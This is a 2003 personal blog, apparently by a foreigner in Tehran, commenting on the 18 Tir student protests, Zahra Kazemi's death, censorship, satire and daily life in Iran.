It's been stinking stinking hot lately. It took an hour for me to get from Vanak to Tajrish by taxi because the police had closed part of Vali-Asr St, there must have been too many people in Park Mellat. Even at 11pm everyone is still having picnics on any piece of grass available. The taxi went by Jam-e-Jam Food Court trying to get back to Vali-Asr St. These days girls' manteaus are like the corsets of Victorian England, if they were any tighter, they would choke or get deformed bones. And balancing your hijab on the topknot of your head is de rigeur around there. The taxi driver was playing a song called "I Like Girls" which was stupid, but it wasn't as stupid as some Tehrangelian "rapper"'s ripoff of "I Will Survive".

Thursday, July 17, 2003

Mr Abu "Hot Potato" Ghaith who was issuing threats to the US a few days ago is in Iranian ``custody''...
Kharrazi says: "Journalist may have fallen." Just like all those students who tripped and fell out of second-floor windows on 18 Tir! Next thing you know, they'll be saying she killed herself by throwing herself down the stairs!!

With the authorities telling so many lies, life in Iran would become impossible without jokes, or satirists like Ebrahim Nabavi. An example translation of Nabavi's work, also concerning a mysterious death.

I like it when I can say good things about Iran. In the International Mathematics Olympiad, Iran didn't do as well as in the past (3rd in 1997, 1st in 1998) but at least the Iranian news is the first place on the web any kind of result for this year is reported.
Masturbation may prevent cancer!

Wednesday, July 16, 2003

Government admits death from beating. Let's see where the buck stops.

Tuesday, July 15, 2003

You know why they call the university security "harasat"? It is because they harass people. I have discovered how they are selected for their jobs. They are working somewhere and their boss says "My goodness you are stupid. I have just the right job for you - you can stand at the gate of Sharif University and every day harass our society's best and brightest."

What is the definition of a male chauvinist? Someone who thinks "harass" is two words!

Someone emailed me and said that she hoped "brain strokes" were not so common in Iran (the context was about the death of Zahra Kazemi.) Unfortunately, you see the entry on July 10? The guy who owned the Kawasaki ZZR 400 (the one which cost 4,000,000 tomans, or about $US5000) died of a stroke the very morning I wrote that! He was 23. I had only met him once, at the end of May. So when I read about the son of ZK saying "To die of a stroke at her age [54] is so funny," I know it can happen at any age. Of course I don't mean to defend this government!!

The Dialogue Project presents an account of a trip to Iran by two women three years ago... with some twists! Eventually they found themselves censoring themselves and limiting their actions :-( If you're interested in the subject of gender in IRI you should read it.

Monday, July 14, 2003

Iranian TV explained.
Put body of evidence in ground, sweep all under carpet; find new oil.
Mamad jan! Ebrahim Nabavi writes a very funny letter to Khatami. Someone MUST translate that to English.

First he says Khatami says he will resign if the people don't like him. He asks how are people supposed to tell Khatami to resign? Protests, hunger strike? The government said only 300 people attended the protests and then they arrested 4000 and released 500! There are three groups in Iran who want Khatami to resign, and he parodies Khatami's wife saying to him, you have to resign otherwise I won't let you come home!!

Cover-up underway in Canadian journalist's death.

"As I told them, 'Cut the bullshit — don't send condolences when your government killed my mother, tortured her, and still doesn't respond to my demands.'"

End of road for EU talks (the carrot approach never works because the IRI government is dogmatic, not logical). "There won't be any trade agreement."

Sunday, July 13, 2003

BBC Monitoring quotes from four Tehran newspapers about 18 Tir. Only, three of them (Kehyan, Resalat, Jomhouri Islami) are psycho newspapers no-one I know reads. These are the only newspapers allowed to express their point of view on 18 Tir, so the spectrum of expression was really limited.

Saturday, July 12, 2003

Today my officemate told me he visited the education ministry and there were long lines of people wanting a teaching job. Guess what the salary is? You teach 24 hours a week for about 60000 tomans a month ($US75)!! I found it really hard to believe, but I don't think he'd lie. So if you think you have it bad, someone here always has it worse. This blog is not representative at all of the general Iranian population, in fact I always wonder if a person just having net access at all makes him/her unrepresentative.
Canadian journalist dies, apparently of injuries inflicted by Iranian police. (I read it first at hoder.) Remember all the stories about how it's Arab mercenaries who are beating up Iranians, not Iranians themselves? Usually when terrible things happen they can be blamed on the "other" be it Ansar or Arabs (or before the revolution, Israelis). (The police sometimes join in, as on 18 Tir.) The third-person plural pronoun is always used: they will beat you up if you go to the protests, they have arrested the student leaders. It's often used as a way of deflecting any sort of responsibility for what happens, or feeling better about oneself - it's "them" who did it, not me or us. Self-criticism entails that Iranians accept some sort of collective responsibility for the things this awful government does.

Thursday, July 10, 2003

Student leaders arrested.

"In the presence of foreign journalists, the students were grabbed, pistols put to their temples, their arms twisted behind their backs. Other attackers waved weapons in the air and ordered the journalists to stand back."

Remember, people call for a boycott of Myanmar's tourism, because they've rearrested Aung San Suu Kyi, the Nobel peace prize winner, but they have only 1500 political prisoners whereas the IRI government arrested 8000 in the last few weeks. I guess that's because Burma has no oil??

I've been linking too much to English news.

How you can buy anything in Iran

Gun - It's not possible to buy it in Tehran, I don't think, but go to border areas with Afghanistan. It will cost at least 2,000,000 tomans ($US2500).
Motorcycle - It's illegal to have a bike over 250cc, and most people only have 125cc bikes. (Unless you have mullah friends or are from another country.) But I know people with 400cc and 900cc bikes. The 400cc bike for example was smuggled from Dubai (4,000,000 tomans).
Stolen Western Passport/Forged Visa - This will cost A LOT but where there is DEMAND, there is a WAY. That is, for those who don't want to claim they are homosexuals or communists or have the government call them that...
Virginity Restoration - Hymenorraphy (or hymenoplasty) is a simple operation, although a pathetic idea! In the movie "khanei ruye ab" the male gynecologist suggests 800,000 tomans to a prospective patient, but I think it's way too much (see US price - $5000-$10000! or Turkish price). It must cost less than LASIK or a nose job (rhinoplasty), and those are cheaper but far more complicated operations. So if I'm wrong about anything please comment.

Wednesday, July 09, 2003

If in your resume you mention Iran you might be a potential terrorist! Also if your name is "Muhammad Ali" that's bad too (I found that a bit hard to believe.)

Businesses in Tehran warned of earthquake risk. It talks about all the terrible disasters that could occur, and then says: "Mr. Danesh called on the local authorities in the area to further examine the twenty crisis mitigation proposals that his Center has drawn up."

First, bus in lots of people from the countryside to stand around weeping and hitting their chests, then Mr Khamenei can come on the TV and say "My heart is broken." Oh I have to stop now, I've become too cynical.

Nojavan is a great blog which moved from Persian to English. What can people do if they don't want to be "served" by mullahs??

Free Iran!

What is going to happen to this country? I don't think it's possible to remove 2500 years of estebdad (arbitary rule) in just a few years. I feel ambivalent. That's why this song is so meaningful to me. Almost every line applies to Iran. Nothing really changed. Who are the mullahs grooming to replace Khatami? Larijani? Mohajerani?

I was going to put pictures to go with the words but I'm sick and I should work.

Won't Get Fooled Again by Pete Townshend

We'll be fighting in the streets
With our children at our feet
And the morals that they worship will be gone
And the men who spurred us on
Sit in judgement of all wrong
They decide and the shotgun sings the song

I'll tip my hat to the new constitution
Take a bow for the new revolution
Smile and grin at the change all around
Pick up my guitar and play
Just like yesterday
Then I'll get on my knees and pray
We don't get fooled again

The change, it had to come
We knew it all along
We were liberated from the fold, that's all
And the world looks just the same
And history ain't changed
'Cause the banners, they are flown in the next war

I'll tip my hat to the new constitution
Take a bow for the new revolution
Smile and grin at the change all around
Pick up my guitar and play
Just like yesterday
Then I'll get on my knees and pray
We don't get fooled again
No, no!

I'll move myself and my family aside
If we happen to be left half alive
I'll get all my papers and smile at the sky
Though I know that the hypnotized never lie
Do ya?

There's nothing in the streets
Looks any different to me
And the slogans are replaced, by-the-bye
And the parting on the left
Are now parting on the right
And the beards have all grown longer overnight

I'll tip my hat to the new constitution
Take a bow for the new revolution
Smile and grin at the change all around
Pick up my guitar and play
Just like yesterday
Then I'll get on my knees and pray
We don't get fooled again
Don't get fooled again
No, no!


Meet the new boss
Same as the old boss

Tuesday, July 08, 2003

Oh No! I'd heard of Tehrangeles, now there is Tehranto. (Persian blog.)
British journalist killed in Iraq. This Guardian article and Scotsman article examine some of the possible reasons for his death and give a biography.

"I don’t think he really appreciated the dangers of anything," his father said.

It's not the right time for anyone to visit Iraq.

Millionaire Mullahs.

"They were not rich people, so they worked hard and always tried to help their relatives get ahead," remembers Reza, a historian who declines to use his last name and who studied with one of Rafsanjani's brothers at Tehran University in the early 1970s. "When they were in university, two brothers earned money on the side tutoring theological students and preparing their exam papers."

Michael Corleone:
Fredo, you're my older brother and I love you, but don't ever take sides with anyone against the family again. Ever.

"Many small businessmen complain that as soon as you start to make some money, the leading mullah will come to you and ask for a contribution to his local charity," says an opposition economist, who declines to give his name. "If you refuse, you will be accused of not being a good Muslim. Some witnesses will turn up to testify that they heard you insult the Prophet Mohammad, and you will be thrown in jail." The Cosa Nostra meets fundamentalism.

[After being asked how he will arrange to buy a hotel from Moe Greene]

Michael Corleone:
I'll make him an offer he can't refuse.

"I am just a normal person, with normal wealth," [Rafiqdoost] says.

Hyman Roth: I am just a retired investor on a pension.

Both Iranian twins die in operation. RIP, it was a courageous decision for them to try to undertake it in the first place. As you can imagine everyone at my work is unhappy about this.

Monday, July 07, 2003

"This war on terror will continue until every enemy who plots against the American people is confronted and defeated." Sometimes I think Bush (in this case Cheney) just has to grow a beard and it would be very difficult to tell him from Khamenei. It just sounds sooo familiar, because this phrase: "enemy plot" is used in Iran ad infinitum ad nauseum. Americans haven't been inoculated against this idea through leaders who have no idea how to govern except by blaming other people... I'm trying to think if in the history of the US, this phrase has been used before - I don't think even McCarthy used it, so maybe Cheney did get it from the mullahs? I hope the American people's self-criticism will help them to see through their political leaders' acts. (I found the quote by typing "enemy plots" into - once, all you would get was Iran results, now all you see is US results!)
I've returned to Iran. I have some vignettes to share...

One day I was talking with Brendan McKay who is visiting Iran in August. Professor McKay has done much work explaining the "Bible Code" phenomenon to people in lectures and over the Internet. He's given many lectures in Israel explaining that the phenomenon can be found in any large text, for example "Moby Dick". Now, he suggested that he could talk about "Koran Codes" in Iran - how the number 19 occurs in strange ways, for example. But he was joking and I didn't realise it! It is unfortunately completely impossible and absolutely verboten to talk about things like that in Iran and leave alive - just look at Aghajari for example. It is not possible to say things like "the Koran changed over time" or to investigate it scientifically or properly. It's much worse than the New York Times article from last year describing the situation in the USA...

"Between fear and political correctness,
it's not possible to say anything other than sugary
nonsense about Islam," said one scholar at an American
university who asked not to be named, referring to the
threatened violence as well as the widespread reluctance on
United States college campuses to criticize other cultures.

"The Muslims have the benefit of hindsight of the
European experience, and they know very well that once you
start questioning the holy scriptures, you don't know where
it will stop," the scholar explained.

You can talk about how the Torah changed in Israel, but not how the Koran changed in Iran. It's a religious development issue, and when it's possible to discuss everything freely Iran will be a stronger society. Just look at the societies where these issues can be discussed.

Christopher de Bellaigue is writing a book about Iran! He is the Economist correspondent in Iran and is quite level-headed, unlike the (cough, cough) so-called American "correspondents" I fulminate regularly against.

Hoder asked how people could learn more about Iran and its people. I have a good suggestion - I've mentioned it here before. There's a book I bought in the UK called Persepolis about a girl born in 1969 growing up in Tehran. It's a magnificently illustrated cartoon book and has both hilarious and poignant dialogue. If you want to know more about Iran go out and buy it. Now.

Now it's time to go and answer all that email!

Saturday, July 05, 2003

42 degrees on Wednesday is too hot for protesting, or even observing it.

Thursday, July 03, 2003

I always criticise Dr Ledeen when he overestimates or exaggerates, so it's only fair to point out reputable sources that say he has understated the crackdown on students (though this is a first).

Ledeen: ... the actual number could be upwards of 6-7,000.

Asharq Al-Awsat: Over the past two weeks, more than 8,000 students have been arrested during demonstrations against the regime and religious clerics. (plus the inevitable Khatami I-will-resign threat).

Tuesday, July 01, 2003

Saturday, June 28, 2003

10 appalling lies about Iraq (high on Blogdex but not daypop or popdex).

Menas Associates wrote their monthly Iran report: part 1 and part 2. There were some interesting eyewitness reports of the protests.

Most interesting of all was the frontpage symposium (via iranvajahan). I have so much to say about it, but I'll sit on my hands for now.

I should have talked about Ledeen again. He
wrote "...Western reporters there are on a tight leash — the regime has banned all journalists and photographers from the sites of demonstrations, so the "reports" are almost always based on second-hand information". Now that isn't true. The reporters who I know are too busy reporting to waste time correcting such statements. I don't want to waste time either. But I felt I had to write because other influential bloggers write rubbish like "Mr. Ledeen is the best informed Western journalist on the situation in Iran." Does FOX News have a correspondent here yet??

What is a good idiomatic way to translate "ghofl-e-kar kojast?"

I'm going to the UK for 9 days, so I want to relax and not think about politics. Sorry if I haven't replied to your email yet.

Here's a simple chess challenge for you from a fun game of mine yesterday. What is my (White's) best move? (diagram thanks to epd2diag)

1. e4 e5 2. f4 d5 3. ed Qd5 4. Nc3 Qd4? 5. Nf3 Qf4 6. d4 Qf5 7. de Bb4 8. Bd3 Bc3 9. bc Qh5 10. Bg5 Bg4?

Wednesday, June 25, 2003

In this surreal world, Americans and Australians get to see Jafar Panahi's latest film Crimson Gold before Iranians (if it's ever shown here). On the same site, Deep Breath (another Iranian film) is reviewed, and the film Paradise is somewhere else is showing at the Karlovy Vary festival. Kiarostami is visiting the Melbourne festival:

"One of the reasons we pursued quite vigorously to have Kiarostami to come to Australia is because our view of the Middle East is completely 'media-tised'," [the director] said.

"It's important to bring him in here to say, if nothing else, there is a rich cultural life in Iran."

The last sentence has two interpretations: I could twist it to mean "even if there is no other kind of life in Iran, a rich cultural life exists"!

Yesterday I saw A house built on water which I thought was pretentious. It pushes the boundaries of acceptability, so a heavily censored version was shown.

Monday, June 23, 2003

I can kill two birds with one stone. I wanted to discuss safety at work in Iran. If you come to Iran, you will see taxis with no seatbelts, people working on jackhammers without ear protection, people welding without masks, people riding girders at construction sites to the tops of buildings, and definitely no hard hats. Perhaps you will also see some graffiti about 18 Tir (July 9) which the construction workers partially erased out of fear. They are afraid of the government, but not bricks falling on their heads. They are also boiling tar in barrels with an open flame...

I am drooling over the G5. But how will I afford the dual 2Ghz G5, a new laptop with wireless, and do all the travel I want to do?
So I'm being quoted by Mark Steyn, (who has become an editor for The Spectator) after the mention by Michael Ledeen. My humorous comment concerns whether Muslims are praying less regularly in Tehran, and I can't interview everyone and find out. I just rely on what I see and statistics. (By the way it's easy to find "The Economist" in Tehran but I've never seen "The Spectator".)

There's a bad pun at the end too... "Ayatollah, Don't Khomeini Closer". I am moved to quote Bob Monkhouse as his pun hasn't appeared on the Net yet - "to make a pun about an Israeli, Israeli impossible!"

Oh I don't know what to write about today! I'll just give links. ML Kotru writes about his experiences in Iran in 1979. He calls Khamenei a "high priest" which makes me think of Judaism.

An American is visiting Iran. One of the people with him/her has delusions of uniqueness about that: "A said that I might be the first American to visit Arak. Somehow I doubt that.", cool analogies to American phrases: "The Koran Belt" and observations about banks: "Life in Iran will break you one way or another." I say the main problem is a lack of self-criticism, but he/she says there's a culture of victimhood: "Unfortunately a lot of Iranians like to be victims and are still waiting for god, in the form of Uncle Sam, to come and free them." Also, traffic is like Tetris! Ah, I wish I could come up with these kinds of analogies and comparisons, but it takes effort. I'd rather type and not think. I have a book called How to be more interesting which my sister gave me which should help, if I ever got around to reading it.

There are many Americans in Iran, but they keep a lower profile than this. The bad old days of being arrested for being American are long gone. Any American considering visiting, do come, if you have visa problems, ask at Thorn Tree, because some Americans are reporting success in obtaining visas. Even if you're female and travelling alone.

Sunday, June 22, 2003

An "intelligence official" working for Hekmatyar? He must have described himself as that. Would the Associated Press have described someone working for bin Laden like that? Until February 2002, Hekmatyar used to live in Niavaran, an exclusive suburb of north Tehran, and was once expelled from the military academy in Kabul for homosexuality. (Read the book Afghanistan Behind the Smoke Screen for more dirt on him.)

Saturday, June 21, 2003

Azam wrote about people from the MKO burning themselves. In April 2003, a suicide specialist in Iran wrote about the reasons for this happening in Iran. In fact he found that 70% of suicides in Ilam province were women. As far as I know, Iran (just Ilam?) and Afghanistan are the only countries where women commit suicide more than men; in all other countries men far outnumber women in this regard. It is no surprise that both are very patriarchal cultures. Also, Bemani is a movie which has self-immolation as part of its theme.

Lady Sun suggests some people think right-wing pressure groups (like Ansar-e-Hizbollah) are being paid by Americans! I could become angry and say "what a retarded concept!". However their beliefs are up to them. People having such beliefs only condemn Iran to more backwardness. Conspiracy theories are linked to blaming others for your problems, which is why many people say that it is "Afghan Arabs", and not fellow Iranians, who are beating up the protesters. Blaming outsiders cannot possibly solve Iran's problems. You can imagine what uneducated Iranians believe! E.g. "the world's economy is controlled by Jews", Ayatollah Mesbah-Yazdi talking about the former head of the CIA visiting Iran etc. I've even talked to a top student at the School of International Relations (who should know better) who was prepared to give credence to the belief that the CIA planned September 11. My friend from SIR understands English well, and got the idea from Patrick Martin. The cure for this kind of warped, crazy belief is world travel and an end to Iran's international isolation.

Elaine Sciolino has a great quote from the Shah about nuclear weapons. I read the Shah's "Answer to History" where he wrote about his huge nuclear power ambitions, but I didn't know that he publicly spoke of his weapons ambitions before now.

Friday, June 20, 2003

Analysts considers implications of Bush's statement on Iran.

The argument that the United States was engaging in selective enforcement of a strict standard against Iran while other countries have developed nuclear weapons without such U.S. threats left Clawson unmoved. Those other countries do not organize public demonstrations around the theme of "death to America" and are not on the U.S. list of state sponsors of terrorism, he said.

It's a very tiring slogan, and it's long past time to kill it.

A few days ago I said I haven't seen basij roadblocks for a while, but around the Ozgol junction at night I have been now, that's because it's on the way to Tehran Pars.

Thursday, June 19, 2003

Donkey wedding staged to bring rain. I thought they only had donkey weddings in Tabriz. I guess I was wrong.
I'm obsessed with definitions of "soosool"!

"They (Iran's government) think that everything happening there is my fault and that the protesters are just sissies who want to dance," Atabay said referring to the clerics' bans on dancing and pop music.

You live in Shahrak-e-Gharb, 30, unmarried, unemployed, been to 11 countries, but you can't pay me 5000 tomans an hour ($US6) for English teaching? OK, there are plenty of other fish in the sea.

Tuesday, June 17, 2003

Pensive Persian arrives in Tehran and extrapolates from the traffic to the internal situation. He exaggerates about the pollution, but not the traffic. "When there is no respect for others and no indication of mutual concern and co-operation, a people will make themselves vulnerable to the Shahs and Ayatollahs of the world." (link via Steppenwolf).

I got impatient with International Crisis Group so I emailed them and asked them when their next Iran report was coming out. This was the reply:

My colleagues are working on an Iran report, but no date is yet set for publication. Do keep in touch, or keep an eye on or website,

Dar al Hayat from Saudi Arabia writes: "...unless the Iranian people start insulting Khomeini himself instead of Khamenei, the chances are slim for a second popular revolution that would compensate for the first one." My theory for improving Iran is like Whoman's, start with the easier, social issues like traffic. But if things were to really change, the omnipresent pictures should come down. However, the last thing to change in Iraq was the statues.

The BBC enlightens the outside world about the problems within the universities, if Mehdi's post below and ibelievethat Sharif students didn't explain it for you. "I pray for the day happiness shines on all women and men in Iran."

Time for reformers to resign by Ahmad Sadri. "A political system devoid of resignations must be viewed with suspicion." It was an excellent article.

Iranians write to the BBC. There are some people who are just like Khamenei living in a dream world: "I used to dream of living in the US. But under George W Bush it has become a police state, far worse than Iran and perhaps as bad as Nazi Germany." When I was in the US (March and April 2003) I saw many many peaceful protests about all sorts of issues (the Iraq war, sugar companies, the Everglades in Florida, even signs all through Americus, GA saying the mayor and police chief were part of an "axis of evil" and should be fired - "boot chief yates"!) and there were no thugs to beat anyone up. The worst that happened was Clear Channel (lots of radio stations are owned by them) sponsoring pro-war rallies. Obviously this Iranian guy has never been there. There's so much ignorance about other countries, all over the world, what can I do?

I got some email from an American in NYC with the subject "Reality Check" and body "are you really blogging from Iran?" and I said "yes, why do you doubt me?". Then she wrote back and said "Because isn't Iran a police state where they will drag you into jail for saying human things and beat you up or worse?". And I have been thinking about how to answer this. Initially I was quite angry, like Salam Pax was, thinking "why doesn't she believe I'm in Iran?" Then I got the reply and realised it was a good question, it's difficult to see into Iran from the USA.

I want to start by being positive. (Steppenwolf got in trouble with someone for saying you can't have a boyfriend/girlfriend in Iran, which is not really true.) You can speak freely in taxis, or with people you know well. It's not like Russia under Stalin or Iraq under Saddam. There's no "secret police" to turn you in for making subversive statements privately. It is partly democratic. Many newspapers have been closed, but there's lots of political debate within limits in those that are still open. An American professor from New Jersey visited here a while ago, and you should read his report. Unless you say something loudly and publicly and non-anonymously, nothing will happen. Signing petitions is not a problem unless the mullahs think you're part of an organised group.

Problems occur if someone famous "says" something publicly in opposition to the mullahs, like Ahmad Batebi, Montazeri, Aghajari, Abbas-Amir Entezam, Ali Afshari, or something the mullahs don't like, like Sina Motallebi, or lots of other political prisoners whose names I can't remember.

But if you're a nobody like me, and you write anonymously and in English, no-one will care. (I hope.)

Monday, June 16, 2003

Iraqi women forced to veil. Oh No, Not Again.

"It's an issue of people's rights - it's an issue not only of women's rights, but human rights - and people have a right to choose whether or not they wear the veil, what religion they practise, how they practise that religion," [UNICEF] chief told the BBC.

I walk past a UNICEF building in Abbasabad quite often. There's an armed guard outside, I always wonder why a children's fund needs an armed guard outside. Does UNICEF say anything about Iranian women who don't want to wear the veil?

And now I must write something positive! I'll think about it.

Christian Science Monitor gives one English translation of soosool:

"You define yourself by your enemies, and those were the superpowers back then," the analyst says. "But now they are fighting young people who put gel in their hair. That's the enemy. So it's demeaning, and not at all elevating for their self-image."

In news that's been completely ignored by international news agencies, Hashem Aghajari's sentence was reduced on appeal to four years in prison and a five-year ban from teaching. It's a good issue for the students to protest about, but maybe they have forgotten him. Also, Babak Payami, the director of "Secret Ballot" was arrested leaving the Russian embassy and is out on bail. Azam wrote about the 20 forbidden things on the Iranian internet and Ebrahim Nabavi's letter.

Sunday, June 15, 2003

Mehdi lives in the Tehran University dormitory. He's been getting thousands of hits a day! Here is an English translation of the first part of his blog entry for June 14.

I left behind 3 days and 3 nights full of scandal. Only the first night of rioting was relatively quiet; it was about privatisation of the universities. But not the following nights. Even the people of Ansar savagely attacked the dormitories of Chamran. Take a look at these pictures. They are self-explanatory.

A group of people wanted to enter from the south-east door of Gisha; with military force they settled down there and there was heavy conflict. Groups and individuals and political wings with different purposes and intentions exacerbated the conflict and chaos, whether in the country or outside. I even heard satellite channels in some cases by broadcasting these scenes were encouraging the people to come into the streets. Among the students some people thought they were representatives of other students. In some cases they made unnecessary and mistaken decisions that mostly exacerbated the currents of chaos. From my point of view, I think the thuggish and illogical behaviour of the students, non-students, militia or Ansar was common to all. By the way, the number of students attending the conflict may not have reached 2000. I mean something between 1000 and 2000 people were involved, and the rest were unintentionally caught up in the incidents.